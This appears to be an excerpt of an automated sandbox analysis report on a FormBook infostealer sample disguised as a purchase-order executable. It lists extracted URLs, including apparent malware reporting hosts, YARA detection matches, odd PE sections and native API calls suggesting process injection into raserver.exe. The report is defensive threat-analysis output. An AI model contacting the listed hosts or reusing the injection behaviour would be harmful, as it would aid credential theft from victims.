Source: PO 367628usa.exe, 00000000.00000002.345992279.00000000029A1000.00000004.00000001.sdmp	String found in binary or memory: http://servermanager.miixit.org/hits/hit_index.php?k=
Source: PO 367628usa.exe, 00000000.00000002.345992279.00000000029A1000.00000004.00000001.sdmp	String found in binary or memory: http://servermanager.miixit.org/index_ru.html
Source: PO 367628usa.exe, 00000000.00000002.345992279.00000000029A1000.00000004.00000001.sdmp	String found in binary or memory: http://servermanager.miixit.org/index_ru.htmlc
Source: PO 367628usa.exe, 00000000.00000002.345992279.00000000029A1000.00000004.00000001.sdmp	String found in binary or memory: http://servermanager.miixit.org/report/reporter_index.php?name=
Source: explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 00000006.00000002.589360759.000000000095C000.00000004.00000020.sdmp	String found in binary or memory: http://www.autoitscript.com/autoit3/J
Source: explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: raserver.exe, 00000009.00000002.589924154.0000000002F3C000.00000004.00000020.sdmp	String found in binary or memory: http://www.patricksparber.com/
Source: raserver.exe, 00000009.00000002.589924154.0000000002F3C000.00000004.00000020.sdmp	String found in binary or memory: http://www.patricksparber.com/K
Source: raserver.exe, 00000009.00000002.589940302.0000000002F43000.00000004.00000020.sdmp	String found in binary or memory: http://www.patricksparber.com/meub/?5jYHTPD=q/3go0TMrjOOicJ8yyeZoSSUK4YYViZWgar0VOI0LAyS1IHPJrhhqQPM
Source: explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: explorer.exe, 00000006.00000000.371695553.000000000B1A6000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: PO 367628usa.exe, 00000000.00000002.346118335.00000000029F3000.00000004.00000001.sdmp	String found in binary or memory: https://stackpath.bootstrapcdn.com/bootstrap/4.5.0/css/bootstrap.min.css
Source: PO 367628usa.exe, 00000000.00000002.345992279.00000000029A1000.00000004.00000001.sdmp	String found in binary or memory: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=CJU3DBQXBUQPC
Source: PO 367628usa.exe, 00000000.00000002.345992279.00000000029A1000.00000004.00000001.sdmp	String found in binary or memory: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=CJU3DBQXBUQPC5http://servermana

Source: PO 367628usa.exe, 00000000.00000002.345192885.0000000000B2B000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

E-Banking Fraud:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000009.00000002.588488580.0000000000910000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.589496878.0000000002E40000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.589661592.0000000002E70000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.347022763.00000000039F5000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.389944333.0000000001440000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.390287791.0000000001860000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.388446461.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 5.2.PO 367628usa.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.PO 367628usa.exe.400000.0.unpack, type: UNPACKEDPE

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000009.00000002.588488580.0000000000910000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000002.588488580.0000000000910000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000002.589496878.0000000002E40000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000002.589496878.0000000002E40000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000009.00000002.589661592.0000000002E70000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000009.00000002.589661592.0000000002E70000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000000.00000002.347022763.00000000039F5000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000000.00000002.347022763.00000000039F5000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.389944333.0000000001440000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.389944333.0000000001440000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.390287791.0000000001860000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.390287791.0000000001860000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000005.00000002.388446461.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000005.00000002.388446461.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.PO 367628usa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.PO 367628usa.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 5.2.PO 367628usa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 5.2.PO 367628usa.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group

PE file contains section with special chars

Show sources

Source: PO 367628usa.exe

Static PE information: section name: ^8+S|rz

PE file has nameless sections

Show sources

Source: PO 367628usa.exe

Static PE information: section name:

Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_004181C0 NtCreateFile,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_00418270 NtReadFile,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_004182F0 NtClose,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_004183A0 NtAllocateVirtualMemory,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_004181BC NtCreateFile,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0041826A NtReadFile,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_004182EC NtClose,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0041839B NtAllocateVirtualMemory,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019099A0 NtCreateSection,LdrInitializeThunk,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01909910 NtAdjustPrivilegesToken,LdrInitializeThunk,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019098F0 NtReadVirtualMemory,LdrInitializeThunk,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01909840 NtDelayExecution,LdrInitializeThunk,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01909860 NtQuerySystemInformation,LdrInitializeThunk,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01909A00 NtProtectVirtualMemory,LdrInitializeThunk,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01909A20 NtResumeThread,LdrInitializeThunk,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01909A50 NtCreateFile,LdrInitializeThunk,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019095D0 NtClose,LdrInitializeThunk,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01909540 NtReadFile,LdrInitializeThunk,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01909780 NtMapViewOfSection,LdrInitializeThunk,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019097A0 NtUnmapViewOfSection,LdrInitializeThunk,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01909FE0 NtCreateMutant,LdrInitializeThunk,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01909710 NtQueryInformationToken,LdrInitializeThunk,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019096E0 NtFreeVirtualMemory,LdrInitializeThunk,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01909660 NtAllocateVirtualMemory,LdrInitializeThunk,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019099D0 NtCreateProcessEx,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01909950 NtQueueApcThread,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019098A0 NtWriteVirtualMemory,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01909820 NtEnumerateKey,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0190B040 NtSuspendThread,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0190A3B0 NtGetContextThread,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01909B00 NtSetValueKey,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01909A80 NtOpenDirectoryObject,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01909A10 NtQuerySection,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019095F0 NtQueryInformationFile,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0190AD30 NtSetContextThread,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01909520 NtWaitForSingleObject,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01909560 NtWriteFile,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0190A710 NtOpenProcessToken,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01909730 NtQueryVirtualMemory,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0190A770 NtOpenThread,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01909770 NtSetInformationFile,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01909760 NtOpenProcess,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019096D0 NtCreateKey,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01909610 NtEnumerateValueKey,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01909650 NtQueryValueKey,
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01909670 NtQueryInformationProcess,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C195D0 NtClose,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C19540 NtReadFile,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C196D0 NtCreateKey,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C196E0 NtFreeVirtualMemory,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C19650 NtQueryValueKey,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C19660 NtAllocateVirtualMemory,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C19FE0 NtCreateMutant,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C19780 NtMapViewOfSection,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C19710 NtQueryInformationToken,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C19840 NtDelayExecution,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C19860 NtQuerySystemInformation,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C199A0 NtCreateSection,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C19910 NtAdjustPrivilegesToken,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C19A50 NtCreateFile,LdrInitializeThunk,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C195F0 NtQueryInformationFile,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C19560 NtWriteFile,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C19520 NtWaitForSingleObject,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C1AD30 NtSetContextThread,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C19670 NtQueryInformationProcess,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C19610 NtEnumerateValueKey,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C197A0 NtUnmapViewOfSection,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C19760 NtOpenProcess,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C1A770 NtOpenThread,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C19770 NtSetInformationFile,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C1A710 NtOpenProcessToken,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C19730 NtQueryVirtualMemory,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C198F0 NtReadVirtualMemory,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C198A0 NtWriteVirtualMemory,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C1B040 NtSuspendThread,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C19820 NtEnumerateKey,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C199D0 NtCreateProcessEx,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C19950 NtQueueApcThread,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C19A80 NtOpenDirectoryObject,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C19A00 NtProtectVirtualMemory,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C19A10 NtQuerySection,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C19A20 NtResumeThread,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C1A3B0 NtGetContextThread,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C19B00 NtSetValueKey,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_009281C0 NtCreateFile,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_009282F0 NtClose,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_00928270 NtReadFile,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_009283A0 NtAllocateVirtualMemory,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_009281BC NtCreateFile,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_009282EC NtClose,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_0092826A NtReadFile,
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_0092839B NtAllocateVirtualMemory,

Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_00DD2DB0
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_00DD2520
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_00DD4620
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_00DD37E0
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_00DDB7E0
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_00DD60D0
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_00DD54C0
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_00DD60E0
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_00DD2499
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_00DDA888
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_00DD6C08
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_00DD6DC1
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_00DDB1F8
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_00DD6999
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_00DD45B7
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_00DD69A8
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_00DD455B
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_00DD1908
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_00DD3249
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_00DDA218
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_00DD6BF8
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_00DD6758
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_00DD6748
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_054E6508
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_054E3C48
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_054E5C00
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_054E07B8
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_054E5E24
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_054E8620
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_054E0040
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_054E58D3
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_054EA3E3
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_054E9208
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_054E9A30
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_054ECD48
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_054ECD58
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_054ED5D9
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_054ED5E8
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_054E64FB
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_054EB731
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_054EC1C0
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_054E9183
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_054EC1B0
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_054ED048
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_054ED851
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_054ED860
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_054E5BF0
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_054ED3A1
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_054ED3B0
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_054EDA68
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_05C6B648
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_05C6459B
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_05C68DAE
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_05C645A8
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_05C64553
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_05C63168
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_05C68D31
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_05C630F0
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_05C64099
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_05C640A8
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_05C60040
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_05C60007
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_05C66B80
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_05C66B90
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_05C637B0
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_05C68B50
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_05C68758
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_05C64ED8
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 0_2_05C64E78
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_00401027
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0041C82E
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_00401030
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0041A2A6
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0041BABD
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_00408C60
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_00408C1A
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0041B504
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_00402D90
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0041CE2B
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_00402FB0
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018CF900
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018E4120
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018DB090
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F20A0
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019920A8
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019928EC
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01981002
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0199E824
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018FEBB0
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019803DA
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0198DBD2
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01992B28
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019922AE
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018F2581
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_019925DD
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018DD5E0
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01992D07
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018C0D20
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01991D55
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018D841F
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0198D466
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0199DFCE
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01991FF1
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_01992EF7
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_0198D616
Source: C:\Users\user\Desktop\PO 367628usa.exe	Code function: 5_2_018E6E30
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BE841F
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C9D466
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04CA25DD
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C02581
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BED5E0
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BD0D20
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04CA1D55
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04CA2D07
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04CA2EF7
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04BF6E30
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04C9D616
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04CADFCE
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04CA1FF1
Source: C:\Windows\SysWOW64\raserver.exe	Code function: 9_2_04CA28EC
